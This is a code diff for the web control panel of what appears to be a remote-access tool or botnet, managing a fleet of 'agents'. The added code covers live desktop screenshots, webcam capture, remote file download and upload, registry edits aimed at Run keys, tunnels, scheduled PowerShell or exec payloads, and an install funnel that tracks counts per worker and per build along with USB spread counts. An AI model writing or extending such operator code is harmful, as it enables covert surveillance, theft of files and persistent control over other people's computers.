const label = agentNameProp ?? agent?.name ?? (agent_id ? agent_id.slice(0, 8) : 'agent');
|
||||
const kind = action === 'camera_snapshot' ? 'camera' : 'screenshot';
|
||||
const tag = action === 'camera_snapshot' ? 'CAMERA' : 'SCREENSHOT';
|
||||
if (success && message) {
|
||||
const clean = sanitizeScreenshotBase64(message);
|
||||
if (downloadScreenshotFromBase64(clean, label)) {
|
||||
if (liveViewRef.current && action === 'screenshot') {
|
||||
setScreenshotData(`data:image/jpeg;base64,${clean}`);
|
||||
addLog(`✓ Screenshot saved — ${label}`);
|
||||
} else if (downloadScreenshotFromBase64(clean, label, kind)) {
|
||||
setScreenshotData(`data:image/jpeg;base64,${clean}`);
|
||||
addLog(`✓ ${tag} saved — ${label}`);
|
||||
} else {
|
||||
addLog(`✗ [SCREENSHOT] ${label}: invalid image data`);
|
||||
addLog(`✗ [${tag}] ${label}: invalid image data`);
|
||||
}
|
||||
} else {
|
||||
addLog(`✗ [SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
|
||||
} else if (!liveViewRef.current || action !== 'screenshot') {
|
||||
addLog(`✗ [${tag}] ${label}: FAIL\n${message ?? ''}`);
|
||||
}
|
||||
} else if (action && action !== 'full_sys_check') {
|
||||
const icon = success ? '✓' : '✗';
|
||||
@@ -174,6 +192,24 @@ export default function AgentRemoteActions({
|
||||
}
|
||||
}, [commandResults, agentId, addLog, agentNameProp, agent?.name]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!liveView || !isOnline || !agentId || agentId === 'all') return;
|
||||
let focused = document.visibilityState === 'visible';
|
||||
const onVis = () => { focused = document.visibilityState === 'visible'; };
|
||||
document.addEventListener('visibilitychange', onVis);
|
||||
const id = setInterval(() => {
|
||||
if (!focused) return;
|
||||
api.sendAgentCommand(agentId, 'screenshot').catch(() => {});
|
||||
}, 3000);
|
||||
api.sendAgentCommand(agentId, 'screenshot').catch(() => {});
|
||||
return () => {
|
||||
clearInterval(id);
|
||||
document.removeEventListener('visibilitychange', onVis);
|
||||
};
|
||||
}, [liveView, isOnline, agentId]);
|
||||
|
||||
useEffect(() => () => setLiveView(false), []);
|
||||
|
||||
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
|
||||
if (!agentId) {
|
||||
addLog('⚠ No agent selected');
|
||||
@@ -222,6 +258,8 @@ export default function AgentRemoteActions({
|
||||
try {
|
||||
if (action === 'screenshot') {
|
||||
addLog(`◈ Capturing desktop on ${agentName}…`);
|
||||
} else if (action === 'camera_snapshot') {
|
||||
addLog(`◈ Capturing USB/built-in camera on ${agentName}…`);
|
||||
} else {
|
||||
addLog(`▶ ${action} → ${agentId === 'all' ? 'FLEET' : agentName}`);
|
||||
}
|
||||
@@ -230,7 +268,7 @@ export default function AgentRemoteActions({
|
||||
addLog(`✗ Rejected: ${res.error ?? 'unknown error'}`);
|
||||
return;
|
||||
}
|
||||
if (action !== 'screenshot') addLog(`✓ command queued`);
|
||||
if (action !== 'screenshot' && action !== 'camera_snapshot') addLog(`✓ command queued`);
|
||||
onCommandSent?.(action);
|
||||
} catch (err: unknown) {
|
||||
const msg = err instanceof Error ? err.message : 'Command failed';
|
||||
@@ -327,6 +365,16 @@ export default function AgentRemoteActions({
|
||||
<h3>Recon & Intel</h3>
|
||||
<div className="button-grid">
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture remote desktop and download JPEG to this browser">Screenshot</button>
|
||||
<button
|
||||
type="button"
|
||||
className={liveView ? 'active' : ''}
|
||||
disabled={!isOnline || agentId === 'all'}
|
||||
onClick={() => setLiveView((v) => !v)}
|
||||
title="Poll desktop every 3s while this tab is focused"
|
||||
>
|
||||
{liveView ? '■ Live view' : '▶ Live view'}
|
||||
</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('camera_snapshot')} title="Capture one JPEG frame from the first USB or built-in webcam (requires ffmpeg on Windows agents)">Camera</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
|
||||
<button
|
||||
@@ -528,7 +576,7 @@ export default function AgentRemoteActions({
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('start_tunnel')}
|
||||
title={aggTitle('start_tunnel')}
|
||||
onClick={() => dispatch('start_tunnel')}
|
||||
onClick={() => dispatch('tunnel_cloudflared')}
|
||||
>
|
||||
Cloudflare Tunnel
|
||||
</button>
|
||||
@@ -570,6 +618,100 @@ export default function AgentRemoteActions({
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{!compact && agentId && agentId !== 'all' && (
|
||||
<ProtocolTunnelPanel
|
||||
agentId={agentId}
|
||||
agentName={agentName}
|
||||
online={isOnline}
|
||||
caps={agent?.capabilities}
|
||||
platform={agent?.platform}
|
||||
lastTunnelStatusMessage={tunnelStatusMsg}
|
||||
onDispatch={dispatch}
|
||||
busy={busy}
|
||||
/>
|
||||
)}
|
||||
|
||||
{(platform === 'windows' || platform === undefined) && (
|
||||
<div className="action-group registry-group">
|
||||
<h3>Registry (administered Windows)</h3>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-cyan wol-toggle"
|
||||
onClick={() => setRegistryExpanded((p) => !p)}
|
||||
title="Read/write/delete under Software\ or Environment only"
|
||||
>
|
||||
Registry ops {registryExpanded ? '▲' : '▼'}
|
||||
</button>
|
||||
{registryExpanded && (
|
||||
<div className="registry-form">
|
||||
<div className="registry-row">
|
||||
<select className="select" value={regHive} onChange={(e) => setRegHive(e.target.value)}>
|
||||
<option value="HKCU">HKCU</option>
|
||||
<option value="HKLM">HKLM (elevated)</option>
|
||||
</select>
|
||||
<input
|
||||
className="input"
|
||||
value={regPath}
|
||||
onChange={(e) => setRegPath(e.target.value)}
|
||||
placeholder="Software\...\Run"
|
||||
/>
|
||||
</div>
|
||||
<div className="registry-row">
|
||||
<input className="input" value={regName} onChange={(e) => setRegName(e.target.value)} placeholder="Value name" />
|
||||
<input className="input" value={regValue} onChange={(e) => setRegValue(e.target.value)} placeholder="Value (write only)" />
|
||||
<select className="select" value={regType} onChange={(e) => setRegType(e.target.value)}>
|
||||
<option value="REG_SZ">REG_SZ</option>
|
||||
<option value="REG_DWORD">REG_DWORD</option>
|
||||
</select>
|
||||
</div>
|
||||
<div className="button-grid">
|
||||
<button
|
||||
type="button"
|
||||
disabled={!isOnline || !!busy}
|
||||
onClick={() =>
|
||||
dispatch('registry_read', {
|
||||
data: JSON.stringify({ hive: regHive, path: regPath }),
|
||||
})
|
||||
}
|
||||
>
|
||||
Read
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
disabled={!isOnline || !!busy || !regName}
|
||||
onClick={() =>
|
||||
dispatch('registry_write', {
|
||||
data: JSON.stringify({
|
||||
hive: regHive,
|
||||
path: regPath,
|
||||
name: regName,
|
||||
value: regValue,
|
||||
type: regType,
|
||||
}),
|
||||
})
|
||||
}
|
||||
>
|
||||
Write
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-amber"
|
||||
disabled={!isOnline || !!busy || !regName}
|
||||
onClick={() =>
|
||||
dispatch('registry_delete', {
|
||||
data: JSON.stringify({ hive: regHive, path: regPath, name: regName }),
|
||||
})
|
||||
}
|
||||
>
|
||||
Delete
|
||||
</button>
|
||||
</div>
|
||||
<small>Allowlist: Software\ and Environment under HKCU/HKLM. Crucible JSON: action registry_read with data hive/path.</small>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{sysCheckReport && !compact && (
|
||||
@@ -583,7 +725,7 @@ export default function AgentRemoteActions({
|
||||
{screenshotData && (
|
||||
<div className="screenshot-viewer">
|
||||
<div className="viewer-header">
|
||||
<span>Latest capture (also downloaded)</span>
|
||||
<span>Latest capture (also downloaded as JPEG)</span>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => {
|
||||
|
||||
118
server/web/src/components/Fleet/FileManager.css
Normal file
118
server/web/src/components/Fleet/FileManager.css
Normal file
@@ -0,0 +1,118 @@
|
||||
.file-manager {
|
||||
border: 1px solid var(--clr-border, #333);
|
||||
border-radius: 4px;
|
||||
padding: 0.75rem;
|
||||
background: rgba(0, 0, 0, 0.25);
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.fm-header {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
margin-bottom: 0.5rem;
|
||||
}
|
||||
|
||||
.fm-title {
|
||||
font-size: 0.7rem;
|
||||
letter-spacing: 0.06em;
|
||||
color: var(--clr-dim);
|
||||
}
|
||||
|
||||
.fm-breadcrumb {
|
||||
margin-bottom: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.fm-crumb {
|
||||
background: none;
|
||||
border: none;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
cursor: pointer;
|
||||
font-size: 0.75rem;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.fm-sep {
|
||||
opacity: 0.5;
|
||||
margin: 0 0.15rem;
|
||||
}
|
||||
|
||||
.fm-filter {
|
||||
width: 100%;
|
||||
margin-bottom: 0.5rem;
|
||||
font-size: 0.8rem;
|
||||
}
|
||||
|
||||
.fm-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
max-height: 220px;
|
||||
overflow-y: auto;
|
||||
border: 1px solid #222;
|
||||
}
|
||||
|
||||
.fm-list li.selected {
|
||||
background: rgba(0, 255, 255, 0.08);
|
||||
}
|
||||
|
||||
.fm-row {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.4rem;
|
||||
width: 100%;
|
||||
padding: 0.25rem 0.4rem;
|
||||
background: none;
|
||||
border: none;
|
||||
color: inherit;
|
||||
text-align: left;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.fm-name {
|
||||
flex: 1;
|
||||
background: none;
|
||||
border: none;
|
||||
color: inherit;
|
||||
text-align: left;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.fm-size {
|
||||
font-size: 0.7rem;
|
||||
color: var(--clr-dim);
|
||||
}
|
||||
|
||||
.fm-actions {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.4rem;
|
||||
margin-top: 0.5rem;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.fm-upload-path {
|
||||
flex: 1;
|
||||
min-width: 120px;
|
||||
font-size: 0.75rem;
|
||||
}
|
||||
|
||||
.fm-preview {
|
||||
margin-top: 0.5rem;
|
||||
max-height: 120px;
|
||||
overflow: auto;
|
||||
font-size: 0.7rem;
|
||||
background: #111;
|
||||
padding: 0.4rem;
|
||||
}
|
||||
|
||||
.fm-err {
|
||||
color: #f66;
|
||||
font-size: 0.8rem;
|
||||
}
|
||||
|
||||
.fm-offline {
|
||||
color: var(--clr-dim);
|
||||
font-size: 0.8rem;
|
||||
}
|
||||
216
server/web/src/components/Fleet/FileManager.tsx
Normal file
216
server/web/src/components/Fleet/FileManager.tsx
Normal file
@@ -0,0 +1,216 @@
|
||||
import { useCallback, useEffect, useMemo, useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import './FileManager.css';
|
||||
|
||||
interface DirEntry {
|
||||
name: string;
|
||||
is_dir: boolean;
|
||||
size: number;
|
||||
}
|
||||
|
||||
interface Props {
|
||||
agentId: string;
|
||||
agentName?: string;
|
||||
online: boolean;
|
||||
/** Called when a command_result arrives (from parent WS hook) */
|
||||
commandResults?: { agentId: string; action: string; success: boolean; message: string }[];
|
||||
}
|
||||
|
||||
function parseListDir(message: string): { path: string; entries: DirEntry[] } | null {
|
||||
try {
|
||||
const j = JSON.parse(message) as { path?: string; entries?: DirEntry[] };
|
||||
if (j.entries && Array.isArray(j.entries)) {
|
||||
return { path: j.path ?? '', entries: j.entries };
|
||||
}
|
||||
} catch {
|
||||
/* not JSON */
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
export default function FileManager({ agentId, agentName, online, commandResults }: Props) {
|
||||
const [cwd, setCwd] = useState('C:\\');
|
||||
const [entries, setEntries] = useState<DirEntry[]>([]);
|
||||
const [filter, setFilter] = useState('');
|
||||
const [selected, setSelected] = useState<Set<string>>(new Set());
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [preview, setPreview] = useState('');
|
||||
const [err, setErr] = useState('');
|
||||
const [uploadPath, setUploadPath] = useState('');
|
||||
|
||||
const filtered = useMemo(() => {
|
||||
const q = filter.trim().toLowerCase();
|
||||
if (!q) return entries;
|
||||
return entries.filter((e) => e.name.toLowerCase().includes(q));
|
||||
}, [entries, filter]);
|
||||
|
||||
const refresh = useCallback(() => {
|
||||
if (!online || !agentId) return;
|
||||
setBusy(true);
|
||||
setErr('');
|
||||
api.sendAgentCommand(agentId, 'list_dir', { path: cwd }).catch((e) => {
|
||||
setErr(e instanceof Error ? e.message : String(e));
|
||||
setBusy(false);
|
||||
});
|
||||
}, [agentId, cwd, online]);
|
||||
|
||||
useEffect(() => {
|
||||
refresh();
|
||||
}, [refresh]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!commandResults?.length) return;
|
||||
const last = [...commandResults].reverse().find((r) => r.agentId === agentId);
|
||||
if (!last) return;
|
||||
if (last.action === 'list_dir' && last.success) {
|
||||
const parsed = parseListDir(last.message);
|
||||
if (parsed) {
|
||||
setEntries(parsed.entries);
|
||||
if (parsed.path) setCwd(parsed.path);
|
||||
}
|
||||
setBusy(false);
|
||||
} else if (last.action === 'list_dir' && !last.success) {
|
||||
setErr(last.message);
|
||||
setBusy(false);
|
||||
} else if (last.action === 'read_file' && last.success) {
|
||||
setPreview(last.message.slice(0, 8000));
|
||||
setBusy(false);
|
||||
} else if (last.action === 'read_file' && !last.success) {
|
||||
setErr(last.message);
|
||||
setBusy(false);
|
||||
} else if (last.action === 'download') {
|
||||
setBusy(false);
|
||||
}
|
||||
}, [commandResults, agentId]);
|
||||
|
||||
const navigate = (name: string, isDir: boolean) => {
|
||||
if (!isDir) return;
|
||||
const sep = cwd.includes('/') ? '/' : '\\';
|
||||
let next = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
|
||||
if (name === '..') {
|
||||
const parts = cwd.replace(/[/\\]+$/, '').split(/[/\\]/);
|
||||
parts.pop();
|
||||
next = parts.join(sep) || (sep === '/' ? '/' : 'C:\\');
|
||||
}
|
||||
setCwd(next);
|
||||
setSelected(new Set());
|
||||
};
|
||||
|
||||
const toggleSelect = (name: string) => {
|
||||
setSelected((prev) => {
|
||||
const n = new Set(prev);
|
||||
if (n.has(name)) n.delete(name);
|
||||
else n.add(name);
|
||||
return n;
|
||||
});
|
||||
};
|
||||
|
||||
const sep = cwd.includes('/') ? '/' : '\\';
|
||||
|
||||
const downloadSelected = async () => {
|
||||
if (!online || selected.size === 0) return;
|
||||
setBusy(true);
|
||||
for (const name of selected) {
|
||||
const p = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
|
||||
try {
|
||||
const res = await api.sendAgentCommand(agentId, 'download', { path: p });
|
||||
if (res && typeof res === 'object' && 'success' in res) {
|
||||
/* result via WS */
|
||||
}
|
||||
} catch (e) {
|
||||
setErr(e instanceof Error ? e.message : String(e));
|
||||
}
|
||||
}
|
||||
setBusy(false);
|
||||
};
|
||||
|
||||
const readFile = (name: string) => {
|
||||
const p = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
|
||||
setBusy(true);
|
||||
setPreview('');
|
||||
api.sendAgentCommand(agentId, 'read_file', { path: p }).catch((e) => {
|
||||
setErr(e instanceof Error ? e.message : String(e));
|
||||
setBusy(false);
|
||||
});
|
||||
};
|
||||
|
||||
const crumbs = cwd.split(/[/\\]/).filter(Boolean);
|
||||
|
||||
return (
|
||||
<div className="file-manager">
|
||||
<div className="fm-header">
|
||||
<span className="font-tech fm-title">FILE BROWSER — {agentName ?? agentId.slice(0, 8)}</span>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={!online || busy} onClick={refresh}>
|
||||
Refresh
|
||||
</button>
|
||||
</div>
|
||||
{!online && <p className="fm-offline">Agent offline</p>}
|
||||
<div className="fm-breadcrumb font-tech">
|
||||
<button type="button" className="fm-crumb" onClick={() => setCwd(cwd.startsWith('/') ? '/' : 'C:\\')}>root</button>
|
||||
{crumbs.map((c, i) => (
|
||||
<span key={i}>
|
||||
<span className="fm-sep">/</span>
|
||||
<button
|
||||
type="button"
|
||||
className="fm-crumb"
|
||||
onClick={() => {
|
||||
const parts = crumbs.slice(0, i + 1);
|
||||
setCwd((cwd.startsWith('/') ? '/' : '') + parts.join(sep));
|
||||
}}
|
||||
>
|
||||
{c}
|
||||
</button>
|
||||
</span>
|
||||
))}
|
||||
</div>
|
||||
<input
|
||||
className="input fm-filter"
|
||||
placeholder="Filter names…"
|
||||
value={filter}
|
||||
onChange={(e) => setFilter(e.target.value)}
|
||||
/>
|
||||
<ul className="fm-list">
|
||||
<li>
|
||||
<button type="button" className="fm-row" onClick={() => navigate('..', true)}>..</button>
|
||||
</li>
|
||||
{filtered.map((e) => (
|
||||
<li key={e.name} className={selected.has(e.name) ? 'selected' : ''}>
|
||||
<label className="fm-row">
|
||||
<input type="checkbox" checked={selected.has(e.name)} onChange={() => toggleSelect(e.name)} />
|
||||
<button type="button" className="fm-name" onClick={() => (e.is_dir ? navigate(e.name, true) : readFile(e.name))}>
|
||||
{e.is_dir ? '📁' : '📄'} {e.name}
|
||||
</button>
|
||||
{!e.is_dir && <span className="fm-size">{e.size < 1024 ? `${e.size} B` : `${(e.size / 1024).toFixed(1)} KB`}</span>}
|
||||
</label>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
<div className="fm-actions">
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={!online || selected.size === 0 || busy} onClick={downloadSelected}>
|
||||
Download selected
|
||||
</button>
|
||||
<input className="input mono fm-upload-path" placeholder="Upload path" value={uploadPath} onChange={(e) => setUploadPath(e.target.value)} />
|
||||
<label className="btn btn-outline btn-sm">
|
||||
Upload
|
||||
<input
|
||||
type="file"
|
||||
hidden
|
||||
disabled={!online || busy}
|
||||
onChange={async (ev) => {
|
||||
const file = ev.target.files?.[0];
|
||||
if (!file) return;
|
||||
const { readFileAsBase64 } = await import('../../help/desktopPush');
|
||||
const b64 = await readFileAsBase64(file);
|
||||
const dest = uploadPath.trim() || `${cwd}${sep}${file.name}`;
|
||||
setBusy(true);
|
||||
api.sendAgentCommand(agentId, 'upload', { path: dest, data: b64 }).finally(() => setBusy(false));
|
||||
ev.target.value = '';
|
||||
}}
|
||||
/>
|
||||
</label>
|
||||
</div>
|
||||
{err && <p className="fm-err">{err}</p>}
|
||||
{preview && <pre className="fm-preview">{preview}</pre>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
81
server/web/src/components/Fleet/FleetOpsWidgets.tsx
Normal file
81
server/web/src/components/Fleet/FleetOpsWidgets.tsx
Normal file
@@ -0,0 +1,81 @@
|
||||
import { useEffect, useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { AuditEntry } from '../../types';
|
||||
import NeonCard from '../NeonCard/NeonCard';
|
||||
|
||||
export function AuditLogStrip({ limit = 8 }: { limit?: number }) {
|
||||
const [entries, setEntries] = useState<AuditEntry[]>([]);
|
||||
|
||||
useEffect(() => {
|
||||
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => setEntries([]));
|
||||
const t = setInterval(() => {
|
||||
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => {});
|
||||
}, 60000);
|
||||
return () => clearInterval(t);
|
||||
}, [limit]);
|
||||
|
||||
return (
|
||||
<NeonCard accent="purple" tilt3d={false}>
|
||||
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>OPERATOR AUDIT</h3>
|
||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Recent actions (last 50 on server)</p>
|
||||
{entries.length === 0 ? (
|
||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No audit entries yet.</p>
|
||||
) : (
|
||||
<ul style={{ listStyle: 'none', margin: 0, padding: 0, fontSize: '0.75rem', fontFamily: 'monospace' }}>
|
||||
{entries.map((e) => (
|
||||
<li key={e.id} style={{ padding: '0.2rem 0', borderBottom: '1px solid #1a1a1a' }}>
|
||||
<span style={{ color: 'var(--clr-dim)' }}>{new Date(e.timestamp).toLocaleString()}</span>
|
||||
{' '}
|
||||
<span style={{ color: 'var(--neon-cyan, #0ff)' }}>{e.username || '—'}</span>
|
||||
{' · '}
|
||||
<strong>{e.action}</strong>
|
||||
{e.agent_id && <span style={{ color: 'var(--clr-dim)' }}> @{e.agent_id.slice(0, 8)}</span>}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</NeonCard>
|
||||
);
|
||||
}
|
||||
|
||||
export function SpreadFunnelWidget() {
|
||||
const [stats, setStats] = useState<Awaited<ReturnType<typeof api.getSpreadFunnel>> | null>(null);
|
||||
|
||||
useEffect(() => {
|
||||
api.getSpreadFunnel().then(setStats).catch(() => setStats(null));
|
||||
}, []);
|
||||
|
||||
if (!stats) return null;
|
||||
|
||||
return (
|
||||
<NeonCard accent="cyan" tilt3d={false}>
|
||||
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>INSTALL FUNNEL</h3>
|
||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Agents by build (7 days)</p>
|
||||
<div style={{ display: 'flex', gap: '1.5rem', marginBottom: '0.75rem', fontSize: '0.85rem' }}>
|
||||
<span>New today: <strong>{stats.new_connects_today}</strong></span>
|
||||
<span>Fleet total: <strong>{stats.total_agents}</strong></span>
|
||||
</div>
|
||||
{stats.by_build.length === 0 ? (
|
||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No agents in the last 7 days.</p>
|
||||
) : (
|
||||
<table style={{ width: '100%', fontSize: '0.75rem', borderCollapse: 'collapse' }}>
|
||||
<thead>
|
||||
<tr style={{ textAlign: 'left', color: 'var(--clr-dim)' }}>
|
||||
<th>Build</th><th>Worker</th><th>Count</th><th>USB</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{stats.by_build.slice(0, 10).map((r, i) => (
|
||||
<tr key={i} style={{ borderTop: '1px solid #222' }}>
|
||||
<td className="mono">{r.build_id.slice(0, 12)}{r.build_id.length > 12 ? '…' : ''}</td>
|
||||
<td>{r.worker_name}</td>
|
||||
<td>{r.count}</td>
|
||||
<td>{r.usb_spread_count > 0 ? r.usb_spread_count : '—'}</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
)}
|
||||
</NeonCard>
|
||||
);
|
||||
}
|
||||
106
server/web/src/components/Fleet/FleetTasksPanel.tsx
Normal file
106
server/web/src/components/Fleet/FleetTasksPanel.tsx
Normal file
@@ -0,0 +1,106 @@
|
||||
import { useEffect, useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { FleetTask } from '../../types';
|
||||
import NeonCard from '../NeonCard/NeonCard';
|
||||
|
||||
const ACTIONS = ['sysinfo', 'full_sys_check', 'powershell', 'exec', 'pause', 'resume', 'restart'];
|
||||
const TRIGGERS = ['on_connect', 'on_reconnect', 'interval_hours', 'cron'] as const;
|
||||
|
||||
const emptyTask = (): FleetTask => ({
|
||||
name: '',
|
||||
enabled: true,
|
||||
trigger: 'on_connect',
|
||||
action: 'sysinfo',
|
||||
interval_hours: 24,
|
||||
cron_time: '09:00',
|
||||
command: '',
|
||||
});
|
||||
|
||||
export default function FleetTasksPanel() {
|
||||
const [tasks, setTasks] = useState<FleetTask[]>([]);
|
||||
const [draft, setDraft] = useState<FleetTask>(emptyTask());
|
||||
const [msg, setMsg] = useState('');
|
||||
const [loading, setLoading] = useState(true);
|
||||
|
||||
const load = () => {
|
||||
api.getFleetTasks().then(setTasks).catch(() => setTasks([])).finally(() => setLoading(false));
|
||||
};
|
||||
|
||||
useEffect(() => { load(); }, []);
|
||||
|
||||
const save = async () => {
|
||||
setMsg('');
|
||||
if (!draft.name.trim()) {
|
||||
setMsg('Name is required');
|
||||
return;
|
||||
}
|
||||
try {
|
||||
await api.saveFleetTask(draft);
|
||||
setDraft(emptyTask());
|
||||
load();
|
||||
setMsg('Task saved.');
|
||||
} catch (e) {
|
||||
setMsg(e instanceof Error ? e.message : String(e));
|
||||
}
|
||||
};
|
||||
|
||||
const remove = async (id: string) => {
|
||||
await api.deleteFleetTask(id);
|
||||
load();
|
||||
};
|
||||
|
||||
return (
|
||||
<NeonCard accent="amber" tilt3d={false}>
|
||||
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.25rem', letterSpacing: '0.08em' }}>FLEET TASKS</h3>
|
||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.75rem' }}>Scheduled remote actions on connect / interval</p>
|
||||
{loading ? <p className="font-tech">Loading…</p> : (
|
||||
<>
|
||||
<ul style={{ listStyle: 'none', padding: 0, margin: '0 0 1rem' }}>
|
||||
{tasks.length === 0 && <li style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No tasks configured.</li>}
|
||||
{tasks.map((t) => (
|
||||
<li key={t.id} style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', padding: '0.35rem 0', borderBottom: '1px solid #222' }}>
|
||||
<span>
|
||||
<strong>{t.name}</strong>
|
||||
<span style={{ color: 'var(--clr-dim)', marginLeft: '0.5rem', fontSize: '0.75rem' }}>
|
||||
{t.trigger} → {t.action}{!t.enabled && ' (off)'}
|
||||
</span>
|
||||
</span>
|
||||
<span>
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={() => setDraft(t)}>Edit</button>
|
||||
{' '}
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={() => t.id && remove(t.id)}>Delete</button>
|
||||
</span>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
<div className="form-grid" style={{ gap: '0.5rem' }}>
|
||||
<input className="input" placeholder="Task name" value={draft.name} onChange={(e) => setDraft({ ...draft, name: e.target.value })} />
|
||||
<select className="input" value={draft.trigger} onChange={(e) => setDraft({ ...draft, trigger: e.target.value as FleetTask['trigger'] })}>
|
||||
{TRIGGERS.map((tr) => <option key={tr} value={tr}>{tr}</option>)}
|
||||
</select>
|
||||
<select className="input" value={draft.action} onChange={(e) => setDraft({ ...draft, action: e.target.value })}>
|
||||
{ACTIONS.map((a) => <option key={a} value={a}>{a}</option>)}
|
||||
</select>
|
||||
{draft.trigger === 'interval_hours' && (
|
||||
<input className="input" type="number" min={0.25} step={0.25} placeholder="Interval hours"
|
||||
value={draft.interval_hours ?? 24}
|
||||
onChange={(e) => setDraft({ ...draft, interval_hours: parseFloat(e.target.value) || 24 })} />
|
||||
)}
|
||||
{draft.trigger === 'cron' && (
|
||||
<input className="input mono" placeholder="HH:MM daily" value={draft.cron_time ?? ''} onChange={(e) => setDraft({ ...draft, cron_time: e.target.value })} />
|
||||
)}
|
||||
{(draft.action === 'powershell' || draft.action === 'exec') && (
|
||||
<input className="input mono" placeholder="Command payload" value={draft.command ?? ''} onChange={(e) => setDraft({ ...draft, command: e.target.value })} />
|
||||
)}
|
||||
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', fontSize: '0.85rem' }}>
|
||||
<input type="checkbox" checked={draft.enabled} onChange={(e) => setDraft({ ...draft, enabled: e.target.checked })} />
|
||||
Enabled
|
||||
</label>
|
||||
<button type="button" className="btn btn-primary" onClick={save}>Save task</button>
|
||||
</div>
|
||||
{msg && <p style={{ marginTop: '0.5rem', fontSize: '0.85rem', color: msg.includes('required') || msg.includes('API') ? '#f66' : '#0f8' }}>{msg}</p>}
|
||||
</>
|
||||
)}
|
||||
</NeonCard>
|
||||
);
|
||||
}
|
||||
@@ -139,3 +139,53 @@
|
||||
color: #f87171;
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
|
||||
.syscheck-warn {
|
||||
color: #fbbf24;
|
||||
}
|
||||
|
||||
.syscheck-kev-summary {
|
||||
font-size: 0.82rem;
|
||||
color: rgba(200, 220, 255, 0.85);
|
||||
margin: 0.5rem 0;
|
||||
}
|
||||
|
||||
.syscheck-kev-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.45rem;
|
||||
}
|
||||
|
||||
.syscheck-kev-item {
|
||||
display: grid;
|
||||
grid-template-columns: auto 1fr auto;
|
||||
gap: 0.35rem 0.5rem;
|
||||
padding: 0.45rem 0.55rem;
|
||||
border-radius: 6px;
|
||||
border: 1px solid rgba(80, 120, 180, 0.25);
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
|
||||
.syscheck-kev-exposed {
|
||||
border-color: rgba(248, 113, 113, 0.45);
|
||||
background: rgba(80, 20, 20, 0.25);
|
||||
}
|
||||
|
||||
.syscheck-kev-likely {
|
||||
border-color: rgba(251, 191, 36, 0.35);
|
||||
background: rgba(60, 45, 10, 0.2);
|
||||
}
|
||||
|
||||
.syscheck-kev-cve {
|
||||
font-family: var(--font-mono, monospace);
|
||||
color: #9ee0ff;
|
||||
}
|
||||
|
||||
.syscheck-kev-detail {
|
||||
grid-column: 1 / -1;
|
||||
color: rgba(180, 200, 230, 0.75);
|
||||
font-size: 0.72rem;
|
||||
}
|
||||
|
||||
@@ -115,6 +115,49 @@ export default function FullSysCheckPanel({
|
||||
